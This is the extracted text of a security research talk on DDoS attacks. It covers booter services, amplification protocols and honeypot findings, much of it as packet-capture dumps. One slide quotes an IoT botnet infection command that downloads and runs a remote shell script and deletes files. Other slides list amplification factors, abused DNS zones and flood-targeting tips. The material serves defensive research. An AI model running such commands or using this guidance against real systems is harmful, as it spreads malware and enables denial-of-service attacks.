Investigating DDoS

Architecture, Actors, and Attribution

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Agenda

DDoS then
DDoS now
Tools for Research
DDoS as a Service
Questions

DDoS then

DDoS then

- DDoS stands for 'distributed denial of service'. It is an attempt to make an Internet resource unavailable (web site, network, etc).
- Various techniques exist to generate abnormal amounts of traffic toward victims.
 - Application exploitation (Brobot)
 - Botnets Windows (DirtJumper/Drive/Optima/Madness/Yoyo)
 - Amplifications and reflections (NTP Monlist, DNS, SSDP)
 - Stand-alone tools (LOIC, Slowloris, etc)

DDoS then

🔜 Low Orbit Ion Cannon U dun goofe	ed v. 1.1.1.1				_ _ ×		
Low Orbit	 Manual Mode (for pussies) FUCKING HIVE Select your target URL 127.0.0.1 	IRC server MIND		Channel #loic 2. Re	Disconnected. eady? Stop flooding		
	P Lock on Lock on 127.0.0.1						
	9001 /	om chars to the URL			UDP message dun goofed		
github.com/	Port Method Threads	Wait for reply	pading Dov	<= faster	Speed slower =>		
newfag/LOIC					135415		

DDoS now

DDoS now – Attacks

- Techniques and tools
 - Amplification and reflection techniques (UDP)
 - Booters/Stressers
 - IoT and Linux based botnets
- Layer 4 and Layer 7 attacks
 - HTTP floods GET, POST, HEAD, Joomla plugins, XML-RPC
 - SYN floods (most common offer)
 - UDP floods DNS, CharGen, NTP, SSDP, SNMP, etc

DDoS now – Amplification Factors

Protocol	Bandwidth Amplification Factor	Vulnerable Command
DNS	28 to 54	see: TA13-088A [4]
NTP	556.9	see: TA14-013A [5]
SNMPv2	6.3	GetBulk request
NetBIOS	3.8	Name resolution
SSDP	30.8	SEARCH request
CharGEN	358.8	Character generation request

https://www.us-cert.gov/ncas/alerts/TA14-017A

DDoS now – "Amplifier Lists" –

There are services specialized in selling lists of amplifiers for various port numbers / protocols:

http://____.xyz/

"No dead AMP's in your list or local ip's mistakenly put there by faulty scanners our servers are running 24/7 at a relative slow speed compared to most to verify everything is correct & no faulty nonsense or honeypots"

DDoS now – Booters and Stressers

- Cheap! \$5-\$20 a month
- Multiple payment methods PayPal, Google Wallet, Bitcoin
- Little or no technical expertise required from users
- Heavy emphasis on branding/rebranding
- Low TTLs (most services only last months)
- Targets of attacks themselves front ends usually behind DDoS mitigation services
- Usage of APIs to communicate with attacking servers

DDoS now – IoT and Linux botnets

• Some botnets are created scanning hosts for default credentials or vulnerabilities. A bot is then automatically downloaded and executed

cd /tmp || cd /var/run; rm -rf *; busybox wget http://fw1.xxxxxxxx.su/f1/f1.sh || wget http://fw1. xxxxxxxxx.su/f1/f1.sh; sh f1.sh; rm -rf f1.sh; busybox tftp -r .f1.sh -g aaa.bbb.ccc.ddd || tftp -r .f1.sh -g f1. xxxxxxxx.su; sh .f1.sh; rm -rf .f1.sh

• Multiple bots are compiled for distinct platforms

Tools for Research

DDoS Honeypots

- Starting November 2014, multiple honeypot nodes deployed in distinct geographical locations
- The nodes mimic UDP services commonly abused to produce DDoS attacks: NTP, SSDP, CharGEN, DNS, etc.
- Honeypots only produce the data necessary to be detected by scanners. They rate limit responses in order to prevent participation in attacks.
- Data collected includes attack time stamps, source and destination IPs and ports, attack type. The intention is to collect as much information as possible about amplification and reflection attacks. Full packet captures are archived for historical purposes and uploaded to a Moloch instance for visualization and research

Data Aggregation

- More than 10,000,000 records collected so far in 2016
- "Moloch is an open source, large scale packet capturing (PCAP), indexing and database system. A simple web interface is provided for PCAP browsing, searching, and exporting. APIs are exposed that allow PCAP data and JSONformatted session data to be downloaded directly. (...) Moloch is not meant to replace IDS engines but instead work along side them to store and index all the network traffic in standard PCAP format, providing fast access. Moloch is built to be deployed across many systems and can scale to handle multiple gigabits/sec of traffic." (https://github.com/aol/moloch)

v	<u>e</u>					es Users Stats	s Settings						moloch v0.14.1-G
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	2016/06/01	2016/06/01			49372	192.0.	123	1	52 /	MP-			
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
Top abused UDP protocols last month

34,617 unique IP addresses targeted

Although NTP has one of the highest amplification factors, it is not the top abused - most probably because many servers were patched lately

		Protocol	Amp. Factor		
#1	1900	SSDP	31		
#2	123	NTP	557		
#3	53	DNS	Varies		
#4	19	CharGen	359		
#5	161	SNMP	6		

- Spoofed SSDP (UDP/1900)
 - Last month: 3,115 unique targets



• Spoofed SSDP (UDP/1900)

0:10:05.579243 IP XXX.YYY.ZZZ.WWW.1900 > AAA.BBB.CCC.DDD.80: UDP, length 311

....E..SJ.@.7.w.L.....I.P.?.bHTTP/1.1 200 OK

Cache-Control: max-age=120

EXT:


Location: http://192.168.0.1:65535/rootDesc.xml

Server: Linux/2.4.22-1.2115.nptl UPnP/1.0 miniupnpd/1.0

ST: urn:schemas-upnp-org:device:WANConnectionDevice:

USN: uuid:2a8061e8-1dd2-11b2-b354-8851c5066677::urn:schemas-upnporg:device:WANConnectionDevice:

- Spoofed NTP (UDP/123)
 - Last month: 13,603 unique targets




	NTP 484 NTP Version 2, private – 🗇 🗙		
∃ Frame 363: 484 bytes on wire (3872 bits), 484 bytes	captured (3872 bits)		
Elinux cooked capture			
Internet Protocol Version 4, Src:	++ 26044 (26044)		
User Datagram Protocol, Src Port: ntp (123), Dst Por Source port: ntp (123)	L. 50844 (50844)		
Destination port: 36844 (36844)		$\left \right\rangle$	
Length: 448			
E Checksum: 0xfa14 [validation disabled]			
Network Time Protocol (NTP Version 2, private)			
🗆 Flags: 0xd7			\boldsymbol{k}
1 = Response bit: Response (1)			
.1 $$ = More bit: 1			
01 0 = Version number: NTP Version 2 (2)			
<pre>111 = Mode: reserved for private use (7) Auth, sequence: 6</pre>		$ \land $	
0 = Auth bit: 0			
.000 0110 = Sequence number: 6			
Implementation: XNTPD (3)			\swarrow
Request code: MON_GETLIST_1 (42)			
000 00 00 00 01 00 06 42 01 4a 01 4f 0a 00 00 08 00	P 10		
000 00 00 00 01 00 06 42 01 4a 01 4f 0a 00 00 08 00 010 45 00 01 d4 00 00 40 00 34 11 65 b2 60 ef 73 f6			
)20 0a 80 00 02 <mark>00 7b 8f ec 01 c0 fa 14</mark> d7 06 03 2a	· · · · · · · · · · · · · · · · · · ·		
030 00 06 00 48 00 6e db 6b 00 dd b6 d6 00 00 00 00 040 00 00 00 02 b2 ee ea 8c c0 a8 09 de 00 00 00 01	H.n.k		
050 f2 41 03 04 00 00 00 00 00 00 00 00 00 00 00 00	.A		
060 00 00 00 00 00 00 00 00 00 00 00 00			
070 00 00 00 00 00 00 00 00 00 00 00 00	······E		
090 c0 a8 09 de 00 00 00 01 c2 66 03 04 00 00 00 00			
a0 00 00 00 01 0e c6 4c d0 c0 a8 09 de 00 00 00 01		$\left \right\rangle$	
0b0 ca c7 03 04 00 48 d7 42 00 d4 dc 13 00 00 00 00 0c0 00 00 00 03 00 e3 5f b8 00 e3 5f b8 00 00 00 00			
0d0 00 00 00 01 b2 ee e9 59 c0 a8 09 de 00 00 00 01	YY		
0e0 e9 2f 03 04 00 00 00 00 c0 a8 09 de 00 00 00 01			
0f0 f2 41 03 04 00 d6 fa 0c 00 d6 fa 0c 00 00 00 00 100 00 00 00 01 bc a6 ee 45 c0 a8 09 de 00 7c 16 e0		$ \longrightarrow$	\leftarrow
110 00 f8 2d bf 00 00 00 00 00 00 00 02 5d 26 31 e7]&1.		
120 c0 a8 09 de 00 00 00 01 e8 51 03 04 00 00 00 00			
130 e9 2f 03 04 00 77 a9 e4 00 ef 53 c7 00 00 00 00 140 00 00 00 02 5d 26 31 e7 c0 a8 09 de 00 00 00 01	./ws		
150 e8 51 03 04 00 fc b5 f2 00 fc b5 f2 00 00 00 00	.Q		
160 00 00 00 01 28 53 ba 98 c0 a8 09 de 00 00 00 01 170 06 81 03 01 00 00 00 00 00 ff 96 0a 00 00 00 00	(5		
170 06 81 03 01 00 00 00 00 00 ff 96 0a 00 00 00 00 180 00 00 00 03 b9 73 7c 0e c0 a8 09 de 00 00 00 01	s		
190 be 70 03 04 00 34 e0 93 00 ff 98 9a 00 5b 08 56	.p4[.v		
01a0 01 08 70 02 00 00 00 00 00 00 00 03 b9 73 7c 0e 01b0 c0 a8 09 de 00 00 00 01 be 70 03 04 00 00 00 00			
11c0 00 00 00 01 65 63 06 b6 c0 a8 09 de 00 00 00 01			

10 45 00 01 45 00 01 45 00 00 00 76 87 67 6 <t< th=""><th></th><th>200 6.000000 W.(100 111)</th><th>NTP 484 NTP Version 2, private – 🗇 🗙</th><th></th><th></th></t<>		200 6.000000 W.(100 111)	NTP 484 NTP Version 2, private – 🗇 🗙		
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□ checksum: 0xfal4 [validation disabled] □ flags: 0xd7 1 = Response bit: Response (1) .1 = More bit: 1		ort: 36844 (36844)			
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<pre>.1 = More bit: 1</pre>	🖃 Flags: Oxd7	· · · · · ·			\bigwedge
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111 = Mode: reserved for private use (7) ■ Auth, sequence: 6 0 = Auth bit: 0 .000 0110 = Sequence number: 6 Implementation: XXTPD (3) Request code: MON_GETLIST_1 (42) 00 00 00 00 01 00 06 42 01 4a 01 4f 0a 00 00 08 00 10 45 00 01 4d 00 00 40 00 34 11 65 b2 60 ef 73 f6 20 0a 80 00 20 00 70 58 ec 0a 80 9d e0 00 00 01 					
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Request code: MON_GETLIST_1 (42) 00 01 14 01 00 </td <td></td> <td></td> <td></td> <td></td> <td></td>					
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Spoofed DNS (UDP/53)

• Last month: 10,060 unique targets



DNS zones abused because of their large responses to ANY and TXT queries


The top abused domains are legitimate. Months ago, attackers registered names and created long records to achieve high amplification factors

	Zone	Response (bytes)	Note
	cpsc.gov	4095	Legitimate domain
svist21.cz		6800	Legitimate domain
	irs.gov	3596	Legitimate domain
ietf.org	ietf.org	4313	Legitimate domain
	gransy.com	5756	Legitimate domain
	1x1.cz	5903	Legitimate domain
	defcon.org	8684	Legitimate domain

DNS 1227 Standard query response 0x9caf SOA auth00.ns.uu.net A 63.74.109.2 RRSIG RRSIG – 🗇 📉	
Frame 7011: 1227 bytes on wire (9816 bits), 1227 bytes captured (9816 bits)	
Linux cooked capture	
Internet Protocol Version 4, Src:	
User Datagram Protocol, Src Port: domain (53), Dst Port: 51828 (51828)	
Domain Name System (response)	
Transaction ID: 0x9caf	
Questions: 1	
Answer RRs: 22	
Authority RRs: 0	
Additional RRs: 0	
□ Queries	
□ cpsc.gov: type ANY, class IN	
Name: cpsc.gov	
Type: ANY (Request for all records) Class: IN (0x0001)	
Answers	
E cpsc.gov: type SOA, class IN, mname auth00.ns.uu.net	
<pre> cpsc.gov: type A, class IN, addr 63.74.109.2 </pre>	
<pre></pre>	
<pre></pre>	
<pre></pre>	
⊞ cpsc.gov: type RRSIG, class IN	
⊞ cpsc.gov: type RRSIG, class IN	
⊞ cpsc.gov: type RRSIG, class IN	
E cpsc.gov: type MX, class IN, preference 5, mx hormel.cpsc.gov	
🗄 cpsc.gov: type MX, class IN, preference 5, mx stagg.cpsc.gov	
⊞ cpsc.gov: type TXT, class IN	
<pre> cpsc.gov: type AAAA, class IN, addr 2600:803:240::2 </pre>	
<pre> cpsc.gov: type DNSKEY, class IN</pre>	
<pre> cpsc.gov: type DNSKEY, class IN </pre>	
Grad cov: type DNSKEY, class IN Sector type DNSKEY, class Sector type DNSKEY, class IN Sector type DNSKEY, clas	
Grade Construction and the second s	
<pre> cpsc.gov: type N5, class IN, ns auth61.ns.uu.net forc.gov: type NSEC3PARAM, class IN </pre>	
B Cpsc.gov. type NS, Class IN, IIS autilou.IIS.du.net	
000 00 00 01 00 06 42 01 4e 2a 69 0a 0c dd 08 00B. N*i 010 45 00 04 bb 00 18 01 6c 31 11 15 f2 d5 87 8d b3 E] 1	
020 0a 80 00 02 61 6c 6c c0 0c 00 1c 00 01 00 00 37 all. all. 7	
rame (1227 bytes) Reassembled IPv4 (4103 bytes)	

DNS 1227 Standard query response 0x9caf SOA auth00.ns.uu.net A 63.74.109.2 RRSIG RRSIG 🗕 🗇 🔼 🗡	
Frame 7011: 1227 bytes on wire (9816 bits), 1227 bytes captured (9816 bits)	
Linux cooked capture	
Internet Protocol Version 4, Src:	
User Datagram Protocol, Src Port: domain (53), Dst Port: 51828 (51828)	
Domain Name System (response)	
Transaction ID: 0x9caf	
∃ Flags: 0x8380 Standard query response, No error Questions: 1	
Answer RRs: 22	
Authority RRs: 0	
Additional RRs: 0	
□ Queries	
□ cpsc.gov: type ANY, class IN	
Name: cpsc.gov	
Type: ANY (Request for all records)	
Class: IN (0x0001)	
Answers	
⊕ cpsc.gov: type SOA, class IN, mname auth00.ns.uu.net	
<pre> cpsc.gov: type RRSIG, class IN </pre>	
⊞ cpsc.gov: type RRSIG, class IN	
⊞ cpsc.gov: type RRSIG, class IN	
<pre> cpsc.gov: type RRSIG, class IN</pre>	
<pre> cpsc.gov: type RRSIG, class IN </pre>	
<pre> cpsc.gov: type RRSIG, class IN</pre>	
<pre> cpsc.gov: type RRSIG, class IN cpsc.gov: type RRSIG, class IN </pre>	
<pre> cpsc.gov: type RRSIG, class IN</pre>	
<pre> cpsc.gov. type KKSIG, class IN E cpsc.gov: type MX, class IN, preference 5, mx hormel.cpsc.gov </pre>	
B cpsc.gov: type MX, class IN, preference 5, mx stagg.cpsc.gov	
<pre> cpsc.gov: type TXT, class IN </pre>	
grsc.gov: type AAAA, class IN, addr 2600:803:240::2	
E CPSC.gov: type DNSKEY, class IN E CPSC.gov: type DNSKEY, class IN E	
<pre> cpsc.gov: type DNSKEY, class IN </pre>	
⊞ cpsc.gov: type NS, class IN, ns auth61.ns.uu.net	
E cpsc.gov: type NSEC3PARAM, class IN	
<pre> cpsc.gov: type NS, class IN, ns auth00.ns.uu.net </pre>	
00 00 00 01 00 06 42 01 4e 2a 69 0a 0c dd 08 00B. N*i 10 45 00 04 bb 00 18 01 6c 31 11 15 f2 d5 87 8d b3 El 1	
20 0a 80 00 02 61 6c 6c c0 0c 00 1c 00 01 00 00 37all7	
ime (1227 bytes) Reassembled IPv4 (4103 bytes)	

- Spoofed CharGen (UDP/19)
 - Last month: 6,128 unique targets



<u>d</u>	THE & REVENUE OF LTD.	NAME OF COLUMN	UDP 964 Source port: chargen Destination port: 57407	- 0	×
	bytes on wire (7712 bits)	, 964 bytes c	aptured (7712 bits)		
Linux cooked c Dacket type:	apture Unicast to us (0)				
	ddress type: 1				
	ddress length: 6				
	i i i i i i i i i i i i i i i i i i i				
Protocol: IP	-				
	col Version 4, Src:	the same same	THE REAL PROPERTY AND A REAL PROPERTY AND A REAL PROPERTY.		
Version: 4					
Header lengt		_			
	-	SCP 0x00: Def	ault; ECN: 0x00: Not-ECT (Not ECN-Capable Transport))		
Total Length					
	on: 0x2d15 (11541)				
Image: Flags: 0x00 Fragment off	set: 1480				
Time to live					
Protocol: UD					
	sum: Oxbb43 [correct]				
Source:	1. Dec. 180 (10. 111. Dec. 180				
	18.108.8.7 (38.108.8.2)				
[Source GeoI					
-	GeoIP: Unknown]	100) #101(00)			
	ments (2408 bytes): #190(1 Protocol, Src Port: charge				
	chargen (19)	II (19), DSC P	012. 37407 (37407)		
	port: 57407 (57407)				
Length: 2408					
	c35d [validation disabled]				
🗆 Data (2400 byt					
	232425262728292a2b2c2d2e2f	3031323334353	637		
[Length: 240	0]				
	f 09 68 c3 5d 20 21 22 23	24 25 26 27	?.h.] !''#\$%&'		~
	b 2c 2d 2e 2f 30 31 32 33 b 3c 3d 3e 3f 40 41 42 43	34 35 36 37 44 45 46 47	()*+,/ 01234567 89::<=>? @ABCDEFG		
	b 4c 4d 4e 4f 50 51 52 53		HIJKLMNO PORSTUVW		
	b 5c 5d 5e 5f 60 61 62 63	64 65 66 67	XYZ[\]^_ `abcdefg		
0050 0d 0a 21 2 0060 2f 30 31 3	2 23 24 25 26 27 28 29 2a 2 33 34 35 36 37 38 39 3a	2b 2c 2d 2e	!"#\$%& `()*+, /0123456 789:;<=>		
0070 3f 40 41 4	2 43 44 45 46 47 48 49 4a	4b 4c 4d 4e	?@ABCDEF GHIJKLMN		
0080 <mark>4f 50 51 5</mark>	2 53 54 55 56 57 58 59 5a 2 63 64 65 66 67 68 0d 0a	5b 5c 5d 5e	OPORSTUV WXYZ [\]^		
	2 63 64 65 66 67 68 00 0a	22 23 24 25	abcdef gh"#\$%		
0090 5f 60 61 6	2 a 2 b 2 c 2 d 2 e 2 f 3 0 3 1	32 33 34 35	$\delta_{1}()^{*}+/012345$		
)0a0 26 27 28 2)0b0 36 37 38 3	9 2a 2b 2c 2d 2e 2f 30 31 9 3a 3b 3c 3d 3e 3f 40 41	42 43 44 45	&'()*+,/012345 6789:;<= >?@ABCDE		
00a0 26 27 28 2 00b0 36 37 38 3 00c0 46 47 48 4	9 2a 2b 2c 2d 2e 2f 30 31	42 43 44 45	& ()*+,/012345 6789:;<= >?@ABCDE FGHIJKLM NOPORSTU		~

	UDP 964 Source port: chargen Destination port: 57407	- 0	х	
	064 bytes on wire (7712 bits), 964 bytes captured (7712 bits)			
Linux cooked				
	e: Unicast to us (0)			
	address type: 1			
	address length: 6			
	IP (0x0800) htocol Version 4, Src:			
Version: 4				
	ngth: 20 bytes			
	ated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable Transport))			
Total Leng				
	tion: 0x2d15 (11541)			
🗄 Flags: OxO	0			\times
	offset: 1480			
Time to li				
Protocol:				
	ecksum: 0xbb43 [correct]			
Source:	in:			
	eoIP: Unknown]			
_	on GeoIP: Unknown]			
_	agments (2408 bytes): #190(1480), #191(928)]			\bigwedge
	um Protocol, Src Port: chargen (19), Dst Port: 57407 (57407)			
	t: chargen (19)			
Destinatio	on port: 57407 (57407)			
Length: 24				
	Oxc35d [validation disabled]			
🗆 Data (2400 b				
	.22232425262728292a2b2c2d2e2f3031323334353637			\times
[Length: 2	400]			
0000 00 12 00				
0000 00 13 e0 0010 28 29 2a	0 3f 09 68 c3 5d 20 21 22 23 24 25 26 27?.h.] !"#\$‰&' ∴ 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 ()*+,/ 01234567		<u>^</u>	
0020 38 39 3a	. 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 4789:;<=>? @ABCDEFG			
	4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 HIJKLMNO PORSTUVW			
	. 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 xYz[\]^_ `abcdefg . 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e !"#\$‰& '()*+,			
0060 2f 30 31	. 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e /0123456 789:;<=>			
0070 3f 40 41 0080 4f 50 51	. 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e ?@ABCDEF GHIJKLMN			
0080 41 50 51 0090 5f 60 61	. 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e OPORSTUV WXYZ[\]^ . 62 63 64 65 66 67 68 0d 0a 22 23 24 25 _`abcdef gh"#\$%			
00a0 26 27 28	29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 &'()*+,/012345			
00b0 36 37 38	39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 6789:;<= >?@ABCDE 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 FGHIJKLM NOPORSTU		~	
Frame (904 bytes)	Reassembled IPv4 (2408 bytes)			

- Spoofed SNMP (UDP/161)
 - Last month: 943 unique targets

04:32:05.636615 IP (tos 0x0, ttl 59, id 20080, offset 0, flags [DF], proto UDP (17), length 113)

x.x.x.54991 > y.y.y.161: { SNMPv2c { GetRequest(70) R=925904563 .1.3.6.1.2.1.1.1.0 .1.3.6.1.2.1.1.3.0 .1.3.6.1.2.1.4.3.0 .1.3.6.1.2.1.4.10.0 } }

- HTTP floods
 - GET
 - POST
 - HEAD
 - It is a good strategy to target URLs that consume high amounts of resources (database queries, large downloads, etc)

M HTTP 361 GET / HTTP/1.1	- 0 ×		
⊞ Frame 22: 361 bytes on wire (2888 bits), 361 bytes captured (2888 bits)		1	
Linux cooked capture			
Internet Protocol Version 4, Src:			
ITransmission Control Protocol, Src Port: 60064 (60064), Dst Port: http (80), Seq: 1, Ack: 1, Len: 29	3		
Hypertext Transfer Protocol			
GET / HTTP/1.1\r\n			
<pre>[Expert Info (Chat/Sequence): GET / HTTP/1.1\r\n]</pre>			
[Message: GET / HTTP/1.1\r\n]			
[Severity level: Chat]			
[Group: Sequence]			
Request Method: GET			
Request URI: / Request Version: HTTP/1.1			
Host: $r n$			
X-Forwarded-For:			
X-Forwarded-Host:			
X-Forwarded-Port: 8080\r\n			
X-Forwarded-Proto: http\r\n			
X-Forwarded-Server:			
X-Real-IP:			
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0\r\n			
\r\n			
[Full request URI: http://i /]			
0000 00 00 01 00 06 42 01 a9 2a 49 0a 00 00 08 00B*I	^		
0010 45 00 01 59 68 64 40 00 36 06 1d 30 05 87 ae 02 EYhd@. 60			
0020 0a 80 00 02 ea a0 00 50 fc 86 9e 89 1d dc b7 01P 0030 80 18 00 e5 7a 36 00 00 01 01 08 0a 2e 44 f7 55z6D.U		$ \longrightarrow $	
0040 4d 80 8d 88 47 45 54 20 2f 20 48 54 54 50 2f 31 MGET / HTTP/1	<u> </u>		
0050 20 21 0d 02 48 6F 72 74 22 20 21 24 26 20 21 24 1 Host ·	*		

HTTP 361 GET / HTTP/1.1	- 🗇 🗙	
Frame 22: 361 bytes on wire (2888 bits), 361 bytes captured (2888 bits)		
Linux cooked capture		
Internet Protocol Version 4, Src:		
Transmission Control Protocol, Src Port: 60064 (60064), Dst Port: http (80), Seq: 1, Ack: 1, Len: 293 Hypertext Transfer Protocol		
\square GET / HTTP/1.1\r\n		\mathbf{X}
□ [Expert Info (Chat/Sequence): GET / HTTP/1.1\r\n]		
[Message: GET / HTTP/1.1\r\n]		
[Severity level: Chat]		
[Group: Sequence]		
Request Method: GET		
Request URI: /		
Request Version: HTTP/1.1		
Host: \r\n		$ \times$
X-Forwarded-For: !		
X-Forwarded-Host:		
X-Forwarded-Port: 8080\r\n		
X-Forwarded-Proto: http\r\n		
X-Forwarded-Server:		
X-Real-IP: User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0\r\n		
r n		
<u>[Full request URI: http://: /]</u>		
		$ \times $
000 00 00 01 00 06 42 01 a9 2a 49 0a 00 00 08 00B*I	~	
010 45 00 01 59 68 64 40 00 36 06 1d 30 05 87 ae 02 E.Yhd@. 60		

- UDP floods
 - Volumetric attack

[Wireshark 1.8.5 (SVN Rev 47350 from /trunk-1.8)]

<u>File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help</u>

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Filter:					V Expression Clear Apply Save
No. 🔺	Time	Source	Destination	Protocol	Length Info
124	3.582872	118.		UDP	44 Source port: 37326 Destination port: http [BAD UDP LENGTH 52468 > I
125	3.582873	47.2		UDP	44 Source port: 36852 Destination port: http [BAD UDP LENGTH 52536 > IF
126	3.582874	177.		UDP	44 Source port: 22313 Destination port: http [BAD UDP LENGTH 50502 > IF
127	3.582875	22.1		UDP	44 Source port: 45703 Destination port: http [BAD UDP LENGTH 51411 > IF
	3.582876			UDP	44 Source port: 34265 Destination port: http [BAD UDP LENGTH 3675 > IP
129	3.582877	121.		UDP	44 Source port: 58383 Destination port: http [BAD UDP LENGTH 8808 > IP
130	3.582878	107.		UDP	44 Source port: 33547 Destination port: http [BAD UDP LENGTH 5663 > IP
	3.582879			UDP	44 Source port: 30973 Destination port: http [BAD UDP LENGTH 57726 > IF
132	3.582880	114.		UDP	44 Source port: 24794 Destination port: http [BAD UDP LENGTH 36848 > IF
	3.582881			UDP	44 Source port: btpp2sectrans Destination port: http [BAD UDP LENGTH 20
	3.582882			UDP	44 Source port: isis-am Destination port: http [BAD UDP LENGTH 22380 >
	3.582883			UDP	44 Source port: ucontrol Destination port: http [BAD UDP LENGTH 37619 :
	3.582884			UDP	44 Source port: 63806 Destination port: http [BAD UDP LENGTH 47748 > IF
		5.21		UDP	44 Source port: irc-serv Destination port: http [BAD UDP LENGTH 46344 :
	3.582886			UDP	44 Source port: 44298 Destination port: http [BAD UDP LENGTH 40550 > IF
	3.582888			UDP	44 Source port: ada-cip Destination port: http [BAD UDP LENGTH 40741 >
	3.582889			UDP	44 Source port: 16681 Destination port: http [BAD UDP LENGTH 56185 > IF
	3.582890			UDP	44 Source port: 61259 Destination port: http [BAD UDP LENGTH 42385 > IF
	3.582891			UDP	44 Source port: 40004 Destination port: http [BAD UDP LENGTH 29613 > If
	3.582893			UDP	44 Source port: 42987 Destination port: http [BAD UDP LENGTH 50874 > IF
	3.582894			UDP	44 Source port: 62030 Destination port: http [BAD UDP LENGTH 54434 > IF
	3.582895			UDP	44 Source port: 10912 Destination port: http [BAD UDP LENGTH 3431 > IP
	3.582896			UDP	44 Source port: pm-cmdsvr Destination port: http [BAD UDP LENGTH 50418
	3.582897			UDP	44 Source port: 7433 Destination port: http [BAD UDP LENGTH 28263 > IP
	3.582898			UDP	44 Source port: 45080 Destination port: http [BAD UDP LENGTH 30350 > IF
	3.582899 3.582900			UDP UDP	44 Source port: 51464 Destination port: http [BAD UDP LENGTH 2417 > IP
					44 Source port: 43482 Destination port: http [BAD UDP LENGTH 57494 > IF
	3.582901 3.582902			UDP UDP	44 Source port: 15012 Destination port: http [BAD UDP LENGTH 47155 > IF 44 Source port: 26163 Destination port: http [BAD UDP LENGTH 61542 > IF
	3.582902			UDP	44 Source port: 25036 Destination port: http [BAD UDP LENGTH 01342 > 1]
	3.582904			UDP	44 Source port: 41652 Destination port: http [BAD UDP LENGTH 11381 > IP
	3.582905			UDP	44 Source port: 53457 Destination port: http [BAD UDP LENGTH 1285 > 14 44 Source port: 53457 Destination port: http [BAD UDP LENGTH 30714 > 14
	3.582906			UDP	44 Source port: 31399 Destination port: http [BAD UDP LENGTH 26576 > IF
	3.582906			UDP	44 Source port: 26032 Destination port: http [BAD UDP LENGTH 20370 > 1]
	3.582907			UDP	44 Source port: 48376 Destination port: http [BAD UDP LENGTH 10422 > IF
	3.582909			UDP	44 Source port: 45288 Destination port: http [BAD UDP LENGTH 10422 > IF
		13 110 4 18		UDP	44 Source port: 19495 Destination port: http [BAD ODP LENGTH 25425 > 1]
-					

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Profile: Default

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[Wireshark 1.8.5 (SVN Rev 47350 from /trunk-1.8)]

<u>File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help</u>

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Filter					 ✓ E 	xpression	. Clear	Apply	Save					
No. 🔺	Time	Source	Destination	Protocol	Length	Info								^
124	3.582872	118.		UDP	44	Source	port:	37326	Destination	port: http	[BAD UDP	LENGTH	52468 >	IF
125	3.582873	47.2		UDP	44	Source	port:	36852	Destination	port: http	[BAD UDP	LENGTH	52536 >	IF
126	3.582874	177.		UDP	44	Source	port:	22313	Destination	port: http	[BAD UDP	LENGTH	50502 >	IF
127	3.582875	22.1		UDP	44	Source	port:	45703	Destination	port: http	[BAD UDP	LENGTH	51411 >	IF
128	3.582876	9.35		UDP	44	Source	port:	34265	Destination	port: http	[BAD UDP	LENGTH	3675 > 3	IP
129	3.582877	121.		UDP	44	Source	port:	58383	Destination	port: http	[BAD UDP	LENGTH	8808 > 3	IP
130	3.582878	107.		UDP	44	Source	port:	33547	Destination	port: http	[BAD UDP	LENGTH	5663 > 3	IP
131	3.582879	185.		UDP	44	Source	port:	30973	Destination		-			
	3.582880			UDP	44	Source	port:	24794	Destination	port: http	[BAD UDP	LENGTH	36848 >	IF
133	3.582881	45.1		UDP					sectrans Dest			-		
134	3.582882	205.		UDP					am Destinatio	•	• -			
	3.582883			UDP					rol Destinati					
	3.582884			UDP					Destination					
		5.21		UDP					erv Destinati					
	3.582886			UDP					Destination		-			
	3.582888			UDP					ip Destinatio		•			
	3.582889			UDP		Source	•				-			
	3.582890			UDP		Source								
	3.582891			UDP		Source	•				-			
	3.582893			UDP		Source			Destination		-			
	3.582894			UDP		Source			Destination		-			
	3.582895			UDP		Source			Destination		-			
	3.582896			UDP			•	•	dsvr Destinat					
	3.582897			UDP		Source			Destination p		-			
	3.582898			UDP		Source	•				-			
	3.582899			UDP		Source	•		Destination		-			
	3.582900			UDP		Source			Destination		-			
	3.582901			UDP		Source			Destination		-			
	3.582902			UDP		Source	•		Destination					
	3.582903			UDP		Source	•		Destination		-			
	3.582904			UDP		Source			Destination		-			
	3.582905			UDP		Source			Destination		-			
	3.582906			UDP		Source	•		Destination		-			
	3.582906			UDP		Source			Destination		-			
	3.582907			UDP		Source	•		Destination					
	3.582909			UDP		Source			Destination					
160		13 110 4 18		TIDP	44	Source	nort	19495	Destination	nort• httn		LENGTH	25159 >	TI T

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Profile: Default

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[Wireshark 1.8.5 (SVN Rev 47350 from /trunk-1.8)]

<u>File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help</u>

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Filter:					~ E	Expression	. Clear	Apply S	Save
No. 🔺	Time	Source	Destination	Protocol	Length	Info			^
124	3.582872	118.		UDP	44	Source	port:	37326	Destination port: http [BAD UDP LENGTH 52468 > II
125	3.582873	47.2		UDP	44	Source	port:	36852	Destination port: http [BAD UDP LENGTH 52536 > IF
126	3.582874	177.		UDP	44	Source	port:	22313	Destination port: http [BAD UDP LENGTH 50502 > IF
127	3.582875	22.1		UDP	44	Source	port:	45703	Destination port: http [BAD UDP LENGTH 51411 > IF
128	3.582876	9.35		UDP	44	Source	port:	34265	Destination port: http [BAD UDP LENGTH 3675 > IP
129	3.582877	121.		UDP	44	Source	port:	58383	Destination port: http [BAD UDP LENGTH 8808 > IP
130	3.582878	107.		UDP	44	Source	port:	33547	Destination port: http [BAD UDP LENGTH 5663 > IP
131	3.582879	185.		UDP	44	Source	port:	30973	Destination port: http [BAD UDP LENGTH 57726 > IF
132	3.582880	114.		UDP	44	Source	port:	24794	Destination port: http [BAD UDP LENGTH 36848 > IF
133	3.582881	45.1		UDP					ectrans Destination port: http [BAD UDP LENGTH 2(
